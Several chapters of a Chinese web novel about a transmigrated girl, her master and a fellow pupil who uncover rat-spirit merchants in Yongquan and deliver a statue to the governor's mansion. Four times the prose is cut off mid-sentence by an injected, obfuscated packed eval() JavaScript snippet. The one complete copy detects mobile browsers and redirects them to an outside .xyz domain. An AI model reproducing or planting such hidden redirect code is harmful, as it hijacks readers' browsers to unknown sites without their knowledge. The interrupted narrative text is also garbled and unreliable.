虽然和姜慕星之前对地理的了解不太一样,但换算一下她的出生地大概就是前世的东部平原。 永泉府是整个阳州八郡的核心区域,双柳河村就在永郡,因此前去永泉府路程只需要一天一夜。 所说是赶路,但阳夫子并不着急,他们只需要在除夕夜之前赶到约定好的地方。 因此路上的时间阳夫子依然在给姜慕星他们俩上课,但这个时候讲的就不再是枯燥无味的经卷,而是一些江湖行走需要注意的事项。 等他们最终抵达永泉府的时候,已经是除夕当天了。姜慕星这还是第一次来到永泉府,望着不算巍峨的城门,她脑子里莫名有点小遗憾。 毕竟和曾经看过的电视剧相比,这里还是差了些。毕竟生产力水平差距很大,电视剧里那种级别的城防建筑估计只有京城或者是边塞才能看到吧。 “夫子,我们要去哪里啊?” 在通过城门口的检查入城后,贺豆豆好奇的询问阳夫子,脑袋转个不提四处打量着来来往往进城出城的人群,眼睛都快不够用了。 比起姜慕星的淡定,他才像是正常乡下孩子第一次进城。 阳夫子回答:“咱们去城东的刘郎君家里,此番前来正是应了他的邀约。” 姜慕星知道这个刘郎君,是阳夫子的一位好友。此人名为刘元亮,是个做木材生意的商人。之前委托阳夫子给他画了一些平安符,这次过年邀请他们前来估计也是为了来年生意有个好兆头。 毕竟别的人不敢说,阳夫子的本事可是实打实的。 永泉府划分为四个区域,整座城横平竖直道路十分便捷;城东有码头,因此来往的商船都在此地卸货,临街大大小小的商铺货摊人来人往,处处高挂红灯笼热闹非凡。各种香气铺面而来,勾的人馋虫作祟食指大动。 阳夫子赶着驴车进了商铺街,很快就在一家名为“刘记木料”的店铺门口停了下来。 一个穿着粗麻短打的圆脸汉子正在门口张望,看到他们来了脸上堆满了笑容。 “可算是等来阳兄了。”圆脸汉子刘元亮两步上前来,“这两位就是阳兄的高徒吧,果然一表人才,快快进屋休息一下,我已备好酒菜就等你们来了!” 热情的刘元亮一边让伙计安顿驴车一边招呼他们进屋休息。姜慕星进屋第一件事就是去火盆那边烤烤手,然后搓了搓已经被冻麻了的脸颊。贺豆豆肚子响亮的叫了一声,连忙伸手按住露出尴尬的傻笑。 “孩子们都饿了,咱先吃饭!”刘元亮笑容满面,带着他们穿过店铺来到后院。 他的宅邸前半截临街的是商铺,后半截和楼上都是住所。后院的堂屋里摆了一张长条桌并几张蒲团,条桌上已经摆好了饭食。 接下来的事自然不用多说,刘元亮招待的餐食相当美味。只不过姜慕星在吃饭的时候眼珠子四处转了转,她并没有见到刘家的其他人,按理说家中来客,又是除夕当日,怎么着也不应该只有他一个人在家里。 ……感觉有点奇怪。 她心里这么想但脸上一丝一毫也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘元亮满脸是汗,嘴唇哆嗦:“没错,若不是阳兄之前赠我的平安符还在我身上,可能被那妖怪害死我都不知道。一到晚上我就想起来了,可要出门和白天就会不记得这些事。我是真的害怕,那妖怪前面还只是啃羊骨,万一夜里开始啃我了怎么办?” “可怜我那娘子,怎么突然就被杀千刀的妖怪给害了!” 他终于忍不住掩面大哭了起来,阳夫子表情有些凝重:“刘兄莫慌,敢问娘子现在何处?” “她,她回城西的娘家去了。”刘元亮双目通红,“若非今日阳兄前来,怕不是下次见我便是灵堂之上了!” 听完刘元亮的这一番说辞,姜慕星抱着手臂陷入思考。她没见到那位娘子,此刻不敢随意下结论。 不过根据他的描述,这妖怪应该和旺远村那种吃人的不太一样,毕竟要是同一种刘元亮坟头草都长高了。 “会是画皮吗?”她喃喃自语,“也不像,毕竟只是夜里啃骨头影子很奇怪……会是什么东西呢?” 就在此时,一个清亮的女声在堂屋外响了起来:“郎君怎么不开门,是来客人了吗?” 6. 第 6 章 听到这个声音,房内的几人面色各异。阳夫子面不改色,贺豆豆有些紧张,刘元亮更是害怕的后退一步。 只有姜慕星歪歪头,比了个口型:我去开门? 见阳夫子拍了拍刘元亮的手让他姑且安心,姜慕星便去开门了。门一打开就看到外面站了位中年女性,她面带一丝忧虑,有些踌躇的看向屋内。 “夫君,这几位是……?”她挤出一丝礼貌的笑意,“是之前说来做客的阳夫子吗?” 刘元亮勉强挤出笑容:“是,是啊,方才我们在说话才关了门,娘子快进来吧。” 姜慕星在她进来后重新关上了门,外面的风吹在脸上还是有些冷。姜慕星注意到,这位娘子在开门的一瞬间同样表现出了害怕的情绪,并且她的身体在进门时微不可查地抖了一下。 “娘子,我来为你介绍一下。这位就是阳夫子。这两位是他的徒儿……这是我家娘子,她姓李家中行三,你们叫她李三娘就好。” 两边见过礼之后便又重新落座,阳夫子完全没在意这对夫妇微表情,他熟络地炒热了屋内原本有些凝固的气氛。 在交谈中这位李三娘也稍稍缓和了情绪,开始和他们正常交流。至少直到夜间守岁时,刘氏夫妇并没有出现任何异常。 姜慕星觉得有些可惜,本来过年是件好事,没想到事情多的跟韭菜似得一茬一茬的接连冒出来。她有种不太好的预感,这个期待已久的城里过年计划可能要泡汤了。 “……只希望事情不会发展到那么糟糕的地步,至少不要像王智勇那样。” 贺豆豆咬着点心疑惑的转过头来:“小小,你刚才在说什么呢?” 他们俩坐在房顶上,此刻正是城中放烟火的时辰。伴随着砰砰的声响,一枚又一枚的烟火在空中炸出漂亮的花朵。永泉府内除夕、正月初一和元宵节这三天取消了宵禁,此刻街道上人头攒动,孩童更是提着各种花灯在跑来跑去。 “我说,我感觉这个年过不好了。”姜慕星咬了一口手里的糯米糕,“难道你没有察觉到不对劲的地方吗?” 贺豆豆满不在乎:“反正有夫子在呢,就算有什么事也是他操心呀。再说我没觉得有什么问题,有可能真的是刘大叔看错了,也有可能李三娘有离魂症。” “……半夜梦游去啃骨头磨牙?”姜慕星没被说服,“我那会儿给李三娘开门的时候,她也很害怕。似乎在李三娘看来,刘大叔才是那个妖怪。” 听她这么说,贺豆豆来了兴致:“你的意思是,这两人都觉得对方有问题?厉害啊小小,你是怎么发现的?我一点儿也没看出来。” 姜慕星朝着楼下的堂屋看去,阳夫子和刘氏夫妇正在品茶谈天,看来是没空管他们。 她对着贺豆豆勾勾手指示意他附耳过来,然后小声说:“我直接去问李三娘好了,看看她那边是什么说法。” 随后姜慕星从房顶上下来,一只手揉着眼睛进了堂屋。阳夫子见她满脸困倦的进来,便招呼她过来喝点儿热糖水。 “师父,我困了。”姜慕星的声音软糯糯的,她眨巴着眼睛看向李三娘,“可否让我去睡一会儿,小小实在是熬不了夜。” 李三娘见挽着丱发点了红痣的姜慕星娇憨可人,好似年画上的送福仙童,有种说不出的讨喜,便立刻点头:“那我就带她去睡会儿吧,失陪了。” 等李三娘带着姜慕星去了准备好的客房,姜慕星又拉住她的手小声小气的讨吃食:“娘子我还有些饿,想吃羊肉。” “困了吃羊肉可不好消化。”李三娘摸了摸她的头,“这样吧,厨房里还煨着肉汤,喝一碗再睡吧。” 姜慕星乖巧点头,拉着李三娘的手去了厨房。到了厨房李三娘先去看灶火上的锅子,姜慕星在她背后划了一下手指。 厨房里没有异常的气味,李三娘身上也没有妖邪的气息。等她盛好羊肉汤递给姜慕星时,姜慕星发现她的指甲和指尖有些过度磨损。 “啊,这个是之前做活计的时候磨到了。”李三娘把手往回收了收,“不碍事的,过几天就好了。” “是刺绣吗?”姜慕星一脸天真无邪,“我平时看村里的娘子们也都是在纺纱一类的活计,可惜我不会这些。” 李三娘摇摇头:“那倒不是,我娘家是木匠,我从祖母那边学了雕刻的手艺,平日夫君铺子里的一些名贵木材的辅料便是由我加工出成品售卖。” “娘子好厉害。”姜慕星一脸仰慕,“我听说过有技艺高超的匠人可以在核桃上雕出一艘船,学会这门手艺可太了不起了。娘子除了木头之外,还有什么能当雕刻材料呀?” “比如说……骨头行吗?” 李三娘一愣,她立刻看向姜慕星。仙童似的小姑娘状似无意的问出这个问题,她的手握在身前微微歪头。 李三娘看不出她是不是故意问的这个问题,于是厨房里陷入了短暂的沉默。 “说的也是呀,怎么会有人用牙齿雕刻东西。”姜慕星说,“豆豆哥一定是话本看多了。” “……他,夫君他说了什么吗?”李三娘的手攥住了衣摆,手背上青色血管都冒了起来。“在我回来之前,他和你们怎么说的?” 姜慕星坦率的回答:“他说你半夜不睡觉在厨房用骨头磨牙。” “……我没有!”李三娘情绪有些激动,但良好的教养和手艺人特有的沉得住气让她的声音并不大,“那是夫君他自己,他才是半夜来厨房里用骨头磨指甲的人!” “他,他不是我夫君,一定是妖怪变得来害我们!” 姜慕星眨眨眼:“你是说刘大叔才是那个半夜来厨房的人?你们一定有人说谎了,不然根本说不通嘛。毕竟厨房就这么大,你们两个都说的是真的,那早就撞上了呀。” 李三娘脸色苍白眼眶含泪,她微微摇头:“我知道你可能不信我,但我真的不是妖怪。十月初三回来的那个人绝对不是我夫君,哪有正常人的影子会扭曲变化,半夜像老鼠一样在那边磨爪子!他平时的小习惯我一清二楚,怎么可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺豆豆一边喝酒一边观察刘元亮张开的口齿,他不看还好,一看就发现了怪异。 刘元亮的牙齿又尖又锐,好似什么兽类,可又不是猛兽那般令人生畏。还有喝了酒的刘元亮的面部也有一些轻微畸形,下半张脸开始往外突。 “这什么妖怪?”贺豆豆看阳夫子没有任何动作,也不晓得是继续和刘元亮喝下去,还是说大喊一声然后拔出桃木剑斩妖除魔。 见贺豆豆朝自己偷偷比划,阳夫子也比了个手势。 ——不能动手,继续。 他只好心中叹气,继续五魁首啊八匹马,直到刘元亮酩酊大醉,趴在条桌上睡得口水直流为止。 此刻已然天光大亮,除夕夜就这么稀里糊涂的过去了,就在贺豆豆揉揉酸困的眼睛想要再仔细看看刘元亮时,他发现眼前这哪里是刘元亮,分明是一只皮光水滑的大耗子! “妈呀——!” 7. 第 7 章 “这,这……” 贺豆豆骇的眼珠都要瞪出来了,刚才还是个人怎么他一揉眼睛的功夫,就变成穿衣服的大耗子?虽说贺豆豆他打小就没怕过这东西,可眼前这耗子比他还高! 昨晚他还和这耗子喝了一晚上的酒! “夫,夫子!”贺豆豆急得汗都出来了,“刘大叔变成耗子了,怎么办,我要斩了这妖物吗?” 阳夫子看他这般慌张,不由得抚须大笑,抬手用拂尘一划:“你再仔细看看呢?” 贺豆豆再看过去,那只大耗子已然不见,刘元亮仰面躺着睡得正香,甚至开始发出响亮的鼾声来。 “夫子……你是不是知道刘大叔他是耗子成精啊?”贺豆豆抬手擦擦额头的虚汗,忍不住口中埋怨。 阳夫子只是微笑:“昨日刘兄求助时,我可没说过要斩妖除魔啊。” 既然阳夫子早就知道刘元亮的真身,贺豆豆也就不再担心。不过他刚放下心来,却又瞪圆眼睛脸色慌张。 “小小那边……!” 客房里刚睡醒的姜慕星看着拖着长尾巴的李三娘,同样陷入了沉默。 好家伙,原来你还真是妖怪啊。 “小娘子,昨晚睡得可还好?”李三娘头顶上两只白色耳朵支棱着,在阳光下显得剔透。“今日是正月初一,我做了饭快起来吃点吧。” 姜慕星穿上鞋试探着问她:“三娘子可还记得昨晚与我说了什么吗?” 李三娘略微一愣:“昨晚?昨晚我与你家师父喝了些酒,夫君应当在堂屋作陪……至于说了什么,我着实记不清了。” 她一边说着一边回想,这一回想不打紧,整个人都开始逐渐消退人形。姜慕星眼睁睁看着她褪去人相,变回一只白绒绒的大老鼠。 姜慕星揉揉眉心,长舒一口气:“我想先去给师父请安,然后再吃早饭。三娘子与我同去如何?” “那是自然。” 等姜慕星带着李三娘进入堂屋,看到的就是一双豆豆眼正在掉眼泪的刘元亮鼠,以及不知所措的贺豆豆。 还没等姜慕星说点什么,李三娘和刘元亮都尖叫了起来。 “妖,妖怪啊!”“啊啊啊——!” 阳夫子眼疾手快立刻拍出一张噤声的符箓,声遏行云的尖叫立刻消弭于无形。 姜慕星扶着几乎要晕倒的李三娘坐下,她正对面就是一脸惊恐的刘元亮。虽说现在情况还略显复杂,可姜慕星忍了又忍,还是没忍住噗嗤一声笑了起来。 刘元亮盯着李三娘看了又看,表情挣扎又纠结,还真难为姜慕星从一张鼠脸上看出这么多情绪来。 李三娘倒是接受的很快,她张了张嘴欲言又止,最终吐出一句:“我夫妻二人都是妖怪倒也不妨事,只是我娘家那些人……” “贤伉俪都是鼠妖,这件事早在十年前我与刘兄相识那年就知晓了。”阳夫子这才开始答疑解惑,“刘家曾对刘兄有恩,刘家之子亡故时刘兄幻化成他的模样代为尽孝。” “三娘子你也是一样的。” 姜慕星这才明白过来,刘氏夫妻这对鼠妖幻化人形都是为了报恩。然后缘分使然这俩鼠妖在茫茫人海中相识相遇,最终结为夫妻。 “过去这些年你们应该都是知道对方的身份,一直相安无事从无差错。”阳夫子面带疑惑,“可为何今年你二人便不记得自己的真身?” 刘元亮使劲甩甩脑袋,把自己晃清醒了点:“我想想……阳兄说的对,确实今年开始我的记忆就有些古怪。总觉得自己生来便是凡人,可要说从什么时候开始的……” 姜慕星说:“十月初三,刘大叔你从外地运货回来开始的。” “对对对,还是小娘子记性好。”刘元亮一拍脑门,他慢慢变回人形。“就是十月初三我回家以后才混淆了记忆,误以为娘子是妖怪。” 贺豆豆:“其实本来也是啦……” 姜慕星询问他:“那十月初三有发生什么奇怪的事吗,或者奇怪的东西?混淆记忆这种事应该不是无缘无故发生的吧?” “我记得那天发生了什么。”恢复人形的李三娘一边回想一边说,“那天夫君返家本来应该去码头接他,但城主府临时要我去送一件预定好的根雕摆件。” “城主府?”姜慕星有些疑惑,“城主府里有什么奇怪的东西或者事情吗?” 李三娘又想了想,一拍巴掌:“永泉府的城主近些年痴迷长生,因此在城主府豢养了一些修士。或许是城主府某件法器影响到了我?” 会是这样吗?姜慕星不太确定,她见过的的修士只有阳夫子一人,关于妖怪之类的见识也不过是从旺远村惨案开始的。 她求助的看向阳夫子,但阳夫子也是一脸凝重。 片刻阳夫子看向李三娘,请她好好回忆在城主府的所见所闻。 就在李三娘努力回想的时候,铺子却来了人敲门。听上去有些蛮横和焦急,叩门声震耳欲聋。 刘元亮赶紧起身去开门,虽说他已变回了人形,但贺豆豆眼尖地发现他的尾巴又冒出来了。 来不及多想,贺豆豆一个箭步跟上去抓住那尾巴往刘元亮衣服里藏。 “怎半天不开门!聋了不成!” 门外站了个一个青色幞头的男子,他二十来岁的样貌,满脸骄矜略显蛮横。 “劳郎君久候,敢问何事如此急迫?”刘元亮虽心中不满,但他看到此人腰带上系着城主府的令牌,便按捺不快露出谄媚笑意。 男子道:“听闻你家有一尊木雕佛像颇为灵验,今日城主待客还不速速呈上,赏钱少不了你的!” 刘元亮一愣,他家中何时有灵验佛像了?就算鼠妖供奉神像,那也是供奉八神之一的“共工”才对。可共工也是妖神之主,并非人神,城主府要这个做什么? 男子见刘元亮迟迟不语,立刻面露不耐:“城主府难道还会短了你的赏金不成?斗升小民见识短浅。咄,拿去!” 说罢他便丢来一锭银钱,刘元亮赶忙接过。手中赏银足有十两,可见城主府财大气粗。 刘元亮心如电转,自知拿了赏钱必须得把东西交上去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511263|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他满脸讨好,堆出一个笑脸。 “既然是城主府需要,自当送上门去。不过这佛像要送到城主府,应当要焚香沐浴才显虔诚。可否明日择个吉时送达?” “还望郎君行个方便。” 他一面陪笑一面塞给青幞男子一贯簇新铜钱。 青幞男子掂了掂铜钱总算是有了一丝好脸色:“谅你也不敢偷奸耍滑了去。记住了啊,明日午时送抵城主府,否则有你好看的!” 等青幞男子离开后,刘元亮关上门快步回到堂屋。他将事情说了一遍,随后看向李三娘。 “三娘,你可说过咱家有什么佛像没?否则城主府怎会来讨要此物?” 李三娘面露诧异:“我怎会说这些?再说我等祭拜唯有共工大神,怎会拜佛?依我看怕不是城主府的修士搞的鬼!” “现下头等大事应该是献出神像。”阳夫子插话,“无论如何现在并没有暴露真身,家中可有神像?有的话献上去便是。” 刘元亮点头:“说的也是,可要献上什么神像?城主府那群修士拜的什么神仙,可别弄巧成拙才好。” 阳夫子沉吟片刻:“你可看清来人身上有何种纹饰?或许可以推敲一二。” “我看到了,是一只鸟。”贺豆豆赶紧说,“刚才我帮刘大叔掖尾巴的时候看到了,就在那人的衣摆上,那个鸟绣的挺奇怪,我一眼就记住了。” 阳夫子一锤定音:“城主府拜的是清宝天尊,就送这个。如果没有就现在开始雕,明日送去城主府。” 李三娘挽起袖子:“好,雕像交给我来,今晚就能雕出来。” 说罢她便去小库房找合适的木料雕刻清宝天尊的塑像,刘元亮想了想也跟了上去,两个人一起做工速度还能更快些。 姜慕星问:“夫子,共工大神和清宝天尊是什么?” “世间人求神拜佛,无论拜何种神佛,追溯源头无外乎八位神君。”阳夫子缓缓说道,“精怪妖物大多祭拜的是上古妖兽之神共工;而世间修行者祭拜的神君,半数都是清宝天尊。” “对了对了,夫子怎么知道刺绣个鸟就是清宝天尊信徒?”贺豆豆叽叽喳喳,“那个鸟样子看起来真难看,明明绣功那么好。” 阳夫子说:“清宝天尊以术法独尊,窥大道三千为修炼宗旨。其变化万千奇妙无穷。蒙清宝天尊赐福者则常羽化而登仙,麾下神使辉光流影,‘叠霜毛而弄影,振玉羽而临霞’。名曰‘宝相灵官’。” “清宝天尊……”姜慕星咀嚼了一下这个名字,她看向阳夫子,“那夫子你也是修行者,你有没有祭拜的神君之类的?也是清宝天尊吗?” 阳夫子摇摇头:“我不是清宝天尊信徒,我所祭拜的神君……算了,不提也罢。” 姜慕星不太理解他为何面露哀戚,难道他拜的不是什么正神,说出来会有些难堪? “夫子,您拜的到底是什么神君啊?”贺豆豆非常好奇,“我们绝对不会说出去的。” 阳夫子长叹一口气:“为师所拜神君,乃是‘云中君’。” 8. 第 8 章 “云中君?” 姜慕星有些疑惑,她好像在哪里听过这个名词。不过她所知道的那个云中君,和阳夫子所说的神君应当不是一回事。 就像妖怪们拜的共工大神,和那个触天柱引发洪水的水神不是同一个存在一样。 阳夫子默默点头,但他也没有再说更多的东西。无论姜慕星怎么旁敲侧击,他都不肯再说关于云中君的任何信息,她只能暂且作罢。 “夫子,你说刘大叔他们知道怎么雕刻清宝天尊的塑像吗?”姜慕星想去看看雕刻现场,但又有些担心会影响到他们做事。“这些神君有没有比较广为流传的样子啊?以后要是出门遇上庙宇殿堂,也好避讳一下。” 只要不追问云中君的事,阳夫子还是有问必答的。 他告诉姜慕星与贺豆豆,只要是供奉飞禽为主的庙宇,便是清宝天尊的神域。清宝天尊偏爱学识渊博之人,只要能得祂些许恩赐,乡野村夫也能口吐锦绣文章,一登大雅之堂。 “那不是做学问的人不需要读书,只需要拜拜这个什么清宝天尊就能考状元做大官?”贺豆豆嗤之以鼻,“感觉怎么像江湖骗子,卖大力丸的都说自己包治百病呢。” 姜慕星也觉得有点太玄乎了:“是呀,感觉很不靠谱。不管是做学问还是习武,都应该脚踏实地,才能百尺竿头更进一步。” 阳夫子笑而不语,他向来喜欢让小朋友们自己抒发见解,毕竟未经规训的人有时候看问题往往更加直观通透些。 “那您再讲讲那个共工大神吧。”姜慕星对清宝天尊不感兴趣,又转头问起妖兽们崇拜的神君。“祂又是怎样的神君呢?” “共工大神啊……”阳夫子对此了解也不算多,他回想了一下也只能说个大概。“我确实对祂不甚了解,只知道共工大神是所有精怪妖物之主。此神君性情难以捉摸,非精怪无人祭拜祂。神君之中只有共工大神不是人形,若是见到远远避开就好。” 姜慕星对这个世道又多了一分了解,不过她最感兴趣的那位神君,阳夫子是无论如何都不会再说了。不过也不要紧,她会自己去翻阳夫子的藏书看。 刘元亮和李三娘忙着雕刻清宝天尊的塑像,中午的饭就得他们自己来做了。贺豆豆自告奋勇,去厨房里当大厨,姜慕星打下手,阳夫子从旁指导,倒也其乐融融。 不知道是不是太过于投入,刘氏夫妇的两顿饭都没有时间吃。姜慕星看着门外已经放凉的饭菜,只好重新端起来拿回厨房里。 直到后半夜,刘氏夫妇才端着用红布遮盖的神像回到堂屋之中。贺豆豆困的直打哈欠,但还是抓紧时间热了饭菜端来给他们吃。两只现了原型的大耗子埋头苦吃,连筷子都没用上;姜慕星则盯着这尊塑像看个不停。 “感觉和一般的神像也没什么区别呀。”她左看右看,这尊塑像都不过是一尊老朽的道人造型,除了衣摆和莲冠上都装饰了栩栩如生的翎毛。“这就是清宝天尊的本相吗?” “当然不是。”刘元亮用手将胡须上沾着的米粒捋下来。“清宝天尊的本相无人得知,但一般流传的塑像都是老迈道人的模样。我之前在文庙里见过一次,记得很清楚。” ……她前世的文庙里可没供奉这劳什子神君,那是属于孔圣的地盘。 李三娘颇为自豪:“我这手艺今日算是发挥极致,任谁也看不出此物是新雕而成。小娘子,你看这包浆这木色,没有数十年香火熏烤可没这般漂亮。” 听她这么说,姜慕星又仔细看看,确实完全看不出来,看来明日送去城主府应当不会有问题了。 不过虽说塑像准备好了,可刘氏夫妇为了雕刻这尊塑像用上了他们的妖力,一时半会儿他们也无法恢复人身。就算勉强以人形前去城主府,也有可能会出现意外。 “我愿意代替刘大叔去送雕像。” 还没等阳夫子决定好,姜慕星立刻举手报名:“我要去,让我一个人去吧!” “小小,你确定要自己去?”阳夫子倒不是信不过姜慕星的能耐,可毕竟要去的地方是城主府,里面会有什么谁也说不好。 但姜慕星可没什么顾虑,毕竟她可不是真的只有十岁:“能行的,夫子难道不相信我吗?去城主府这么好的机会,我要去长长见识。” “那豆豆要一起吗?”阳夫子又转向贺豆豆,“你陪小小一起去如何?” 贺豆豆罕见的犹豫了一下,他咬着嘴唇摇摇头:“我就不去了,那种地方……我去了感觉不舒服。” “豆豆哥你没事吧?”姜慕星把手贴在他额头上,“呀,豆豆哥发烧了!一定是做饭沾了太多凉水,你还是好好休息吧。如果城主府有点心,我会给你带一些的。” 刘元亮十分不好意思:“本来是邀请阳兄来家中做客,谁知出了这样的事。我心中实在愧疚,明日送完塑像后务必多留几日,否则我心难安啊。” 阳夫子说:“这都是小事,还请刘兄不要放在心上。我和这俩皮猴有约在先,要到元宵节后才回村里,这段时间确实要叨扰刘兄了。” 李三娘给贺豆豆熬了药让他喝下退烧,众人略微睡到巳时才转醒。李三娘给姜慕星挽了头发,眉心的红痣也重新点好。 单衫杏子红,双鬓鸦雏色。① “我见过不少漂亮少年,也算是阅人无数。”李三娘捏着木梳感慨,“但像姜小娘子这般形貌的还是极少,长大后定是个绝色佳人。” 姜慕星自诩脸皮厚,但听到别人真心实意的夸奖,还是羞红了脸颊。 她捧着装有清宝天尊塑像的木匣刚走到刘氏木材铺门外,就看到一个青幞男子大踏步走了过来。他正要开口就看到俏生生立在那边的姜慕星,到嘴边的粗鄙之语立刻咽下。 “小娘子这拿的是什么?”他不由自主地伸手抻了抻衣袖,挤出一个笑脸。“可是要送去城主府的神像?” 姜慕星将他的表情动作看在眼里,粲然一笑:“正是。不过我不认得路,就劳烦郎君带我前去啦。” 青幞男子语气和昨日截然不同:“那是自然。敢问小娘子……” “我姓姜。”姜慕星从善如流地福了福身,“是刘掌柜的远亲,表叔父他今日略感风寒怕唐突了城主,故而让我前去送神像。郎君,我去送神像不妨事吧?” “不妨事不妨事,他病了才好……不对,刘掌柜这病的可真不凑巧啊。”青幞男子连忙抬手引路,“姜小娘子这边请,今日赶上好时候了,城主今日宴客,流水席摆了好多桌。等送完了神像,你同我去吃席。” “多谢郎君,我们这便走吧。” 等两人走远后,二楼的贺豆豆才脸色阴沉地收回脑袋。 他手里捏了块石头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜慕星眼观鼻鼻观心,依然低着头跟在后面进了朗月轩。刚准备放下手中木匣,就被折扇拦了去路。 “抬头。” 姜慕星从善如流地抬起头来,映入眼帘的便是一张略带病气的漂亮面孔。 他头戴小巧玉色莲冠,一簇柔软翎羽编在两侧发间;长眉微蹙,容色冷倦。 姜慕星猜想他应该就是阮鹏口中的盛羽客,看这打扮应该是清宝天尊麾下的修士。她福了福身,落落大方的看向他。 这位盛羽客刷的打开折扇,还没说话就先细细咳嗽了几声。姜慕星看着他咳到面色通红,心中有些不忍,便自顾自放下木匣给他倒了杯温茶。 “……多谢。”他没想到姜慕星会给他倒水,乖乖的喝了一口。“我名盛光霁,你叫什么?” 姜慕星含笑:“盛郎君安好,我姓姜。” “原来是姜娘子。”盛光霁点点头,他手中折扇指向木匣,“敢问娘子,此匣中乃是何物?” 姜慕星觉得这问题古怪,匣中自然是刘氏夫妇雕琢一宿的清宝天尊塑像,难不成还能是别的什么东西? 就在她准备打开的时候,姜慕星的手顿了顿。她看向盛光霁,露出一个思索的微笑:“盛郎君,你想要这匣中……是何物?” 9. 第 9 章 听到姜慕星这么反问,盛光霁多看了她一眼。他手里折扇打开又闭合,似乎在想怎么回应她的疑问。 “盛郎君,我这匣子里是一尊神像。”姜慕星说到,“我只是负责将神像完好无损送到城主府,至于别的我就不太清楚啦。” 盛光霁手里的折扇打开微微扇了两下:“既然是来送神像,又为何不坦诚?姜小娘子莫非心中有鬼?” 他眼神灼灼的看着姜慕星。 “盛郎君这是什么意思。”姜慕星立刻冷下脸,“我可不觉得这个玩笑有趣。” 明明有鬼的是你,好一个倒打一耙。姜慕星心中吐槽,她和这人第一次见吧,怎么上来就要坑她? 若是自己一个不留神,中了什么奇诡的招数,可不就惹上麻烦了。 毕竟阳夫子也说了,清宝天尊以术法独尊,麾下信徒的法术造诣应该也不差。她这三脚猫功夫,还是别在正经吃供奉的修士跟前班门弄斧了。 不过盛光霁听到她这么说,立刻拱了拱手表示歉意,并且客气地请姜慕星坐下说话。他手里那把扇子还在缓缓的摇动,丝毫没有意识到自己刚才咳的惊天动地。 “方才是我唐突了。”盛光霁亲自倒了茶水递给姜慕星,“本来看姜小娘子似乎也是同道中人,本想亲近一二,没想到弄巧成拙。是盛某的错,还望原谅则个。” “呵呵。”姜慕星假笑了一下,将话题引向别处。“盛郎君是如何认为,我是你的‘同道中人’?我不过是个寻常村姑,目光短浅的很。” 盛光霁用折扇隔空点了点姜慕星的头与双肩:“修行之人有三昧火,头顶双肩各具其一。我能看到你的,而你却看不见我的;说明姜小娘子你修行时日尚浅,还未修成天目。” 她当然没有修出可观异象的天目,不然之前就不用法诀去闻嗅异常,只需要看一眼就行了。 “怪不得你没有让阮管事进来,而是叫我来送东西。”姜慕星的态度稍微软化了一些,“就算都是修行之人,我与你之间也是截然不同的。你这个交友方式,恕我直言有些得罪人。” 盛光霁又咳嗽一声,这次咳声略显尴尬:“我,我很少与陌生修士结识,刚才确实……有些失礼,实在抱歉。” 事不过三,他前后已经道歉两次了。姜慕星大人有大量,决定不再计较刚才的话。 “说起来,城主府应该有很多神像吧。”姜慕星问他,“为何要从坊间寻找神像,还不拘种类。” 盛光霁见她不再生气,便直言相告:“城主修行长生之道,搜罗大量修士供奉在城主府内。但这些修士浑水摸鱼者多,才学兼备者少。所以城主明日举办试炼大会,神君塑像作为术法的强力触媒,自然是多多益善。” “原来是这样啊。”姜慕星内心有些震动,这一点阳夫子倒是没有告诉过她。 毕竟在穿越前,姜慕星可没听说过施法需要通过神像。 神像这东西,在她看来就是起到一个造型上的作用,主要是用来祭拜和承受香火。 没想到在这个世界,修士们施法还要用神像。那岂不是神像越好,施法效果也就越强? 她直接询问盛光霁,他也有问必答。 一来二去,两人相谈甚欢,时间在不知不觉间溜走,转眼一个半时辰就这么过去了。 “时间不早,我应该回去了。”姜慕星看着偏斜的日头,拍了一下膝盖,“今天算是涨了见识,盛郎君确实比我强多啦。” 面对姜慕星的直率称赞,盛光霁有些有些羞涩:“我也不过是早入门几年,还差得很远。不过姜小娘子送来的这尊清宝天尊像神光溢彩,宝相光华。借用宝器确实万不得已,等明日过后,我再将其完璧归赵。” “倒也没有这么麻烦。”姜慕星摆摆手。“城主府已经出钱买下了这座清宝天尊像,你好好准备明日的试炼大会。祝你拔得头筹。” 说完姜慕星就起身告辞,她刚要走出房门,盛光霁一把抓住她的手腕:“等,等一下!” 姜慕星转过头来,盛光霁的脸涨红了,他连忙松开手:“是,是这样的……晚上府中有流水席,不若吃了席再回去?这里的菜很好吃的,还有各式糕点,你,你尝尝看,肯定会喜欢的!” “差点忘了这事儿。”姜慕星一拍脑门,“好呀,那我吃了饭再回去。点心可以带走吗?我给我师父和师兄也带点。” 等盛光霁带着姜慕星从朗月轩出来,阮鹏居然还在外面等着。不过等的太久,他靠在墙上都开始打盹了。 